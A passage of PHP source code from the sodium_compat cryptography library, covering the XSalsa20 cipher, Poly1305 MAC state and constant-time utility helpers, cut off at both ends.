            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XSalsa20
 */
abstract class ParagonIE_Sodium_Core_XSalsa20 extends ParagonIE_Sodium_Core_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305_State', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305_State
 */
class ParagonIE_Sodium_Core_Poly1305_State extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, int>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var int[]
     */
    public $r;

    /**
     * @var int[]
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff),
            (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03),
            (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff),
            (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff),
            (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff)
        );

        /* h = 0 */
        $this->h = array(0, 0, 0, 0, 0);

        /* save pad for later */
        $this->pad = array(
            self::load_4(self::substr($key, 16, 4)),
            self::load_4(self::substr($key, 20, 4)),
            self::load_4(self::substr($key, 24, 4)),
            self::load_4(self::substr($key, 28, 4)),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * Zero internal buffer upon destruction
     */
    public function __destruct()
    {
        $this->r[0] ^= $this->r[0];
        $this->r[1] ^= $this->r[1];
        $this->r[2] ^= $this->r[2];
        $this->r[3] ^= $this->r[3];
        $this->r[4] ^= $this->r[4];
        $this->h[0] ^= $this->h[0];
        $this->h[1] ^= $this->h[1];
        $this->h[2] ^= $this->h[2];
        $this->h[3] ^= $this->h[3];
        $this->h[4] ^= $this->h[4];
        $this->pad[0] ^= $this->pad[0];
        $this->pad[1] ^= $this->pad[1];
        $this->pad[2] ^= $this->pad[2];
        $this->pad[3] ^= $this->pad[3];
        $this->leftover = 0;
        $this->final = true;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);
        if ($bytes < 1) {
            return $this;
        }

        /* handle leftover */
        if ($this->leftover) {
            $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run $this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT);
        }
        /** @var int $hibit */
        $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */
        $r0 = (int) $this->r[0];
        $r1 = (int) $this->r[1];
        $r2 = (int) $this->r[2];
        $r3 = (int) $this->r[3];
        $r4 = (int) $this->r[4];

        $s1 = self::mul($r1, 5, 3);
        $s2 = self::mul($r2, 5, 3);
        $s3 = self::mul($r3, 5, 3);
        $s4 = self::mul($r4, 5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 +=  self::load_4(self::substr($message, 0, 4))       & 0x3ffffff;
            $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff;
            $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff;
            $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff;
            $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit;

            /* h *= r */
            $d0 = (
                self::mul($h0, $r0, 27) +
                self::mul($s4, $h1, 27) +
                self::mul($s3, $h2, 27) +
                self::mul($s2, $h3, 27) +
                self::mul($s1, $h4, 27)
            );

            $d1 = (
                self::mul($h0, $r1, 27) +
                self::mul($h1, $r0, 27) +
                self::mul($s4, $h2, 27) +
                self::mul($s3, $h3, 27) +
                self::mul($s2, $h4, 27)
            );

            $d2 = (
                self::mul($h0, $r2, 27) +
                self::mul($h1, $r1, 27) +
                self::mul($h2, $r0, 27) +
                self::mul($s4, $h3, 27) +
                self::mul($s3, $h4, 27)
            );

            $d3 = (
                self::mul($h0, $r3, 27) +
                self::mul($h1, $r2, 27) +
                self::mul($h2, $r1, 27) +
                self::mul($h3, $r0, 27) +
                self::mul($s4, $h4, 27)
            );

            $d4 = (
                self::mul($h0, $r4, 27) +
                self::mul($h1, $r3, 27) +
                self::mul($h2, $r2, 27) +
                self::mul($h3, $r1, 27) +
                self::mul($h4, $r0, 27)
            );

            /* (partial) h %= p */
            /** @var int $c */
            $c = $d0 >> 26;
            /** @var int $h0 */
            $h0 = $d0 & 0x3ffffff;
            $d1 += $c;

            /** @var int $c */
            $c = $d1 >> 26;
            /** @var int $h1 */
            $h1 = $d1 & 0x3ffffff;
            $d2 += $c;

            /** @var int $c */
            $c = $d2 >> 26;
            /** @var int $h2  */
            $h2 = $d2 & 0x3ffffff;
            $d3 += $c;

            /** @var int $c */
            $c = $d3 >> 26;
            /** @var int $h3 */
            $h3 = $d3 & 0x3ffffff;
            $d4 += $c;

            /** @var int $c */
            $c = $d4 >> 26;
            /** @var int $h4 */
            $h4 = $d4 & 0x3ffffff;
            $h0 += (int) self::mul($c, 5, 3);

            /** @var int $c */
            $c = $h0 >> 26;
            /** @var int $h0 */
            $h0 &= 0x3ffffff;
            $h1 += $c;

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
        }

        $this->h = array(
            (int) ($h0 & 0xffffffff),
            (int) ($h1 & 0xffffffff),
            (int) ($h2 & 0xffffffff),
            (int) ($h3 & 0xffffffff),
            (int) ($h4 & 0xffffffff)
        );
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
                ),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
        }

        $h0 = (int) $this->h[0];
        $h1 = (int) $this->h[1];
        $h2 = (int) $this->h[2];
        $h3 = (int) $this->h[3];
        $h4 = (int) $this->h[4];

        /** @var int $c */
        $c = $h1 >> 26;
        /** @var int $h1 */
        $h1 &= 0x3ffffff;
        /** @var int $h2 */
        $h2 += $c;
        /** @var int $c */
        $c = $h2 >> 26;
        /** @var int $h2 */
        $h2 &= 0x3ffffff;
        $h3 += $c;
        /** @var int $c */
        $c = $h3 >> 26;
        $h3 &= 0x3ffffff;
        $h4 += $c;
        /** @var int $c */
        $c = $h4 >> 26;
        $h4 &= 0x3ffffff;
        /** @var int $h0 */
        $h0 += self::mul($c, 5, 3);
        /** @var int $c */
        $c = $h0 >> 26;
        /** @var int $h0 */
        $h0 &= 0x3ffffff;
        /** @var int $h1 */
        $h1 += $c;

        /* compute h + -p */
        /** @var int $g0 */
        $g0 = $h0 + 5;
        /** @var int $c */
        $c = $g0 >> 26;
        /** @var int $g0 */
        $g0 &= 0x3ffffff;

        /** @var int $g1 */
        $g1 = $h1 + $c;
        /** @var int $c */
        $c = $g1 >> 26;
        $g1 &= 0x3ffffff;

        /** @var int $g2 */
        $g2 = $h2 + $c;
        /** @var int $c */
        $c = $g2 >> 26;
        /** @var int $g2 */
        $g2 &= 0x3ffffff;

        /** @var int $g3 */
        $g3 = $h3 + $c;
        /** @var int $c */
        $c = $g3 >> 26;
        /** @var int $g3 */
        $g3 &= 0x3ffffff;

        /** @var int $g4 */
        $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff;

        /* select h if h < p, or h + -p if h >= p */
        /** @var int $mask */
        $mask = ($g4 >> 31) - 1;

        $g0 &= $mask;
        $g1 &= $mask;
        $g2 &= $mask;
        $g3 &= $mask;
        $g4 &= $mask;

        /** @var int $mask */
        $mask = ~$mask & 0xffffffff;
        /** @var int $h0 */
        $h0 = ($h0 & $mask) | $g0;
        /** @var int $h1 */
        $h1 = ($h1 & $mask) | $g1;
        /** @var int $h2 */
        $h2 = ($h2 & $mask) | $g2;
        /** @var int $h3 */
        $h3 = ($h3 & $mask) | $g3;
        /** @var int $h4 */
        $h4 = ($h4 & $mask) | $g4;

        /* h = h % (2^128) */
        /** @var int $h0 */
        $h0 = (($h0) | ($h1 << 26)) & 0xffffffff;
        /** @var int $h1 */
        $h1 = (($h1 >>  6) | ($h2 << 20)) & 0xffffffff;
        /** @var int $h2 */
        $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff;
        /** @var int $h3 */
        $h3 = (($h3 >> 18) | ($h4 <<  8)) & 0xffffffff;

        /* mac = (h + pad) % (2^128) */
        $f = (int) ($h0 + $this->pad[0]);
        $h0 = (int) $f;
        $f = (int) ($h1 + $this->pad[1] + ($f >> 32));
        $h1 = (int) $f;
        $f = (int) ($h2 + $this->pad[2] + ($f >> 32));
        $h2 = (int) $f;
        $f = (int) ($h3 + $this->pad[3] + ($f >> 32));
        $h3 = (int) $f;

        return self::store32_le($h0 & 0xffffffff) .
            self::store32_le($h1 & 0xffffffff) .
            self::store32_le($h2 & 0xffffffff) .
            self::store32_le($h3 & 0xffffffff);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core_Util
{
    /**
     * @param int $integer
     * @param int $size (16, 32, 64)
     * @return int
     */
    public static function abs($integer, $size = 0)
    {
        /** @var int $realSize */
        $realSize = (PHP_INT_SIZE << 3) - 1;
        if ($size) {
            --$size;
        } else {
            /** @var int $size */
            $size = $realSize;
        }

        $negative = -(($integer >> $size) & 1);
        return (int) (
            ($integer ^ $negative)
                +
            (($negative >> $realSize) & 1)
        );
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $binaryString (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hex($binaryString)
    {
        /* Type checks: */
        if (!is_string($binaryString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.');
        }

        $hex = '';
        $len = self::strlen($binaryString);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $binaryString[$i]);
            /** @var int $c */
            $c = $chunk[1] & 0xf;
            /** @var int $b */
            $b = $chunk[1] >> 4;
            $hex .= pack(
                'CC',
                (87 + $b + ((($b - 10) >> 8) & ~38)),
                (87 + $c + ((($c - 10) >> 8) & ~38))
            );
        }
        return $hex;
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @internal You should not use this directly from another application
     *
     * @param string $bin_string (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hexUpper($bin_string)
    {
        $hex = '';
        $len = self::strlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $bin_string[$i]);
            /**
             * Lower 16 bits
             *
             * @var int $c
             */
            $c = $chunk[1] & 0xf;

            /**
             * Upper 16 bits
             * @var int $b
             */
            $b = $chunk[1] >> 4;

            /**
             * Use pack() and binary operators to turn the two integers
             * into hexadecimal characters. We don't use chr() here, because
             * it uses a lookup table internally and we want to avoid
             * cache-timing side-channels.
             */
            $hex .= pack(
                'CC',
                (55 + $b + ((($b - 10) >> 8) & ~6)),
                (55 + $c + ((($c - 10) >> 8) & ~6))
            );
        }
        return $hex;
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param string $chr
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function chrToInt($chr)
    {
        /* Type checks: */
        if (!is_string($chr)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.');
        }
        if (self::strlen($chr) !== 1) {
            throw new SodiumException('chrToInt() expects a string that is exactly 1 character long');
        }
        /** @var array<int, int> $chunk */
        $chunk = unpack('C', $chr);
        return (int) ($chunk[1]);
    }

    /**
     * Compares two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @param int $len
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function compare($left, $right, $len = null)
    {
        $leftLen = self::strlen($left);
        $rightLen = self::strlen($right);
        if ($len === null) {
            $len = max($leftLen, $rightLen);
            $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT);
            $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT);
        }

        $gt = 0;
        $eq = 1;
        $i = $len;
        while ($i !== 0) {
            --$i;
            $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq;
            $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8;
        }
        return ($gt + $gt + $eq) - 1;
    }

    /**
     * If a variable does not match a given type, throw a TypeError.
     *
     * @param mixed $mixedVar
     * @param string $type
     * @param int $argumentIndex
     * @throws TypeError
     * @throws SodiumException
     * @return void
     */
    public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0)
    {
        if (func_num_args() === 0) {
            /* Tautology, by default */
            return;
        }
        if (func_num_args() === 1) {
            throw new TypeError('Declared void, but passed a variable');
        }
        $realType = strtolower(gettype($mixedVar));
        $type = strtolower($type);
        switch ($type) {
            case 'null':
                if ($mixedVar !== null) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.');
                }
                break;
            case 'integer':
            case 'int':
                $allow = array('int', 'integer');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.');
                }
                $mixedVar = (int) $mixedVar;
                break;
            case 'boolean':
            case 'bool':
                $allow = array('bool', 'boolean');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.');
                }
                $mixedVar = (bool) $mixedVar;
                break;
            case 'string':
                if (!is_string($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.');
                }
                $mixedVar = (string) $mixedVar;
                break;
            case 'decimal':
            case 'double':
            case 'float':
                $allow = array('decimal', 'double', 'float');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.');
                }
                $mixedVar = (float) $mixedVar;
                break;
            case 'object':
                if (!is_object($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.');
                }
                break;
            case 'array':
                if (!is_array($mixedVar)) {
                    if (is_object($mixedVar)) {
                        if ($mixedVar instanceof ArrayAccess) {
                            return;
                        }
                    }
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.');
                }
                break;
            default:
                throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')');
        }
    }

    /**
     * Evaluate whether or not two strings are equal (in constant-time)
     *
     * @param string $left
     * @param string $right
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hashEquals($left, $right)
    {
        /* Type checks: */
        if (!is_string($left)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.');
        }
        if (!is_string($right)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.');
        }

        if (is_callable('hash_equals')) {
            return hash_equals($left, $right);
        }
        $d = 0;
        /** @var int $len */
        $len = self::strlen($left);
        if ($len !== self::strlen($right)) {
            return false;
        }
        for ($i = 0; $i < $len; ++$i) {
            $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]);
        }

        if ($d !== 0) {
            return false;
        }
        return $left === $right;
    }

    /**
     * Catch hash_update() failures and throw instead of silently proceeding
     *
     * @param HashContext|resource &$hs
     * @param string $data
     * @return void
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument
     */
    protected static function hash_update(&$hs, $data)
    {
        if (!hash_update($hs, $data)) {
            throw new SodiumException('hash_update() failed');
        }
    }

    /**
     * Convert a hexadecimal string into a binary string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $hexString
     * @param string $ignore
     * @param bool $strictPadding
     * @return string (raw binary)
     * @throws RangeException
     * @throws TypeError
     */
    public static function hex2bin($hexString, $ignore = '', $strictPadding = false)
    {
        /* Type checks: */
        if (!is_string($hexString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.');
        }
        if (!is_string($ignore)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.');
        }

        $hex_pos = 0;
        $bin = '';
        $c_acc = 0;
        $hex_len = self::strlen($hexString);
        $state = 0;
        if (($hex_len & 1) !== 0) {
            if ($strictPadding) {
                throw new RangeException(
                    'Expected an even number of hexadecimal characters'
                );
            } else {
                $hexString = '0' . $hexString;
                ++$hex_len;
            }
        }

        $chunk = unpack('C*', $hexString);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            /** @var int $c */
            $c = $chunk[$hex_pos];
            $c_num = $c ^ 48;
            $c_num0 = ($c_num - 10) >> 8;
            $c_alpha = ($c & ~32) - 55;
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) {
                    continue;
                }
                throw new RangeException(
                    'hex2bin() only expects hexadecimal characters'
                );
            }
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        return $bin;
    }

    /**
     * Turn an array of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $ints
     * @return string
     */
    public static function intArrayToString(array $ints)
    {
        $args = $ints;
        foreach ($args as $i => $v) {
            $args[$i] = (int) ($v & 0xff);
        }
        array_unshift($args, str_repeat('C', count($ints)));
        return (string) (call_user_func_array('pack', $args));
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function intToChr($int)
    {
        return pack('C', $int);
    }

    /**
     * Load a 3 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_3($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 3) {
            throw new RangeException(
                'String must be 3 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string . "\0");
        return (int) ($unpacked[1] & 0xffffff);
    }

    /**
     * Load a 4 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_4($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string);
        return (int) $unpacked[1];
    }

    /**
     * Load a 8 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64_le($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) {
            /** @var array<int, int> $unpacked */
            $unpacked = unpack('P', $string);
            return (int) $unpacked[1];
        }

        /** @var int $result */
        $result  = (self::chrToInt($string[0]) & 0xff);
        $result |= (self::chrToInt($string[1]) & 0xff) <<  8;
        $result |= (self::chrToInt($string[2]) & 0xff) << 16;
        $result |= (self::chrToInt($string[3]) & 0xff) << 24;
        $result |= (self::chrToInt($string[4]) & 0xff) << 32;
        $result |= (self::chrToInt($string[5]) & 0xff) << 40;
        $result |= (self::chrToInt($string[6]) & 0xff) << 48;
        $result |= (self::chrToInt($string[7]) & 0xff) << 56;
        return (int) $result;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function memcmp($left, $right)
    {
        if (self::hashEquals($left, $right)) {
            return 0;
        }
        return -1;
    }

    /**
     * Multiply two integers in constant-time
     *
     * Micro-architecture timing side-channels caused by how your CPU
     * implements multiplication are best prevented by never using the
     * multiplication operators and ensuring that our code always takes
     * the same number of operations to complete, regardless of the values
     * of $a and $b.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $size Limits the number of operations (useful for small,
     *                  constant operands)
     * @return int
     */
    public static function mul($a, $b, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return (int) ($a * $b);
        }

        static $defaultSize = null;
        /** @var int $defaultSize */
        if (!$defaultSize) {
            /** @var int $defaultSize */
            $defaultSize = (PHP_INT_SIZE << 3) - 1;
        }
        if ($size < 1) {
            /** @var int $size */
            $size = $defaultSize;
        }
        /** @var int $size */

        $c = 0;

        /**
         * Mask is either -1 or 0.
         *
         * -1 in binary looks like 0x1111 ... 1111
         *  0 in binary looks like 0x0000 ... 0000
         *
         * @var int
         */
        $mask = -(($b >> ((int) $defaultSize)) & 1);

        /**
         * Ensure $b is a positive integer, without creating
         * a branching side-channel
         *
         * @var int $b
         */
        $b = ($b & ~$mask) | ($mask & -$b);

        /**
         * Unless $size is provided:
         *
         * This loop always runs 32 times when PHP_INT_SIZE is 4.
         * This loop always runs 64 times when PHP_INT_SIZE is 8.
         */
        for ($i = $size; $i >= 0; --$i) {
            $c += (int) ($a & -($b & 1));
            $a <<= 1;
            $b >>= 1;
        }
        $c = (int) @($c & -1);

        /**
         * If $b was negative, we then apply the same value to $c here.
         * It doesn't matter much if $a was negative; the $c += above would
         * have produced a negative integer to begin with. But a negative $b
         * makes $b >>= 1 never return 0, so we would end up with incorrect
         * results.
         *
         * The end result is what we'd expect from integer multiplication.
         */
        return (int) (($c & ~$mask) | ($mask & -$c));
    }

    /**
     * Convert any arbitrary numbers into two 32-bit integers that represent
     * a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int|float $num
     * @return array<int, int>
     */
    public static function numericTo64BitInteger($num)
    {
        $high = 0;
        /** @var int $low */
        if (PHP_INT_SIZE === 4) {
            $low = (int) $num;
        } else {
            $low = $num & 0xffffffff;
        }

        if ((+(abs($num))) >= 1) {
            if ($num > 0) {
                /** @var int $high */
                $high = min((+(floor($num/4294967296))), 4294967295);
            } else {
                /** @var int $high */
                $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296))));
            }
        }
        return array((int) $high, (int) $low);
    }

    /**
     * Store a 24-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_3($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }
        /** @var string $packed */
        $packed = pack('N', $int);
        return self::substr($packed, 1, 3);
    }

    /**
     * Store a 32-bit integer into a string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store32_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('V', $int);
        return $packed;
    }

    /**
     * Store a 32-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_4($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('N', $int);
        return $packed;
    }

    /**
     * Stores a 64-bit integer as an string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store64_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        if (PHP_INT_SIZE === 8) {
            if (PHP_VERSION_ID >= 50603) {
                /** @var string $packed */
                $packed = pack('P', $int);
                return $packed;
            }
            return self::intToChr($int & 0xff) .
                self::intToChr(($int >>  8) & 0xff) .
                self::intToChr(($int >> 16) & 0xff) .
                self::intToChr(($int >> 24) & 0xff) .
                self::intToChr(($int >> 32) & 0xff) .
                self::intToChr(($int >> 40) & 0xff) .
                self::intToChr(($int >> 48) & 0xff) .
                self::intToChr(($int >> 56) & 0xff);
        }
        if ($int > PHP_INT_MAX) {
            list($hiB, $int) = self::numericTo64BitInteger($int);
        } else {
            $hiB = 0;
        }
        return
            self::intToChr(($int      ) & 0xff) .
            self::intToChr(($int >>  8) & 0xff) .
            self::intToChr(($int >> 16) & 0xff) .
            self::intToChr(($int >> 24) & 0xff) .
            self::intToChr($hiB & 0xff) .
            self::intToChr(($hiB >>  8) & 0xff) .
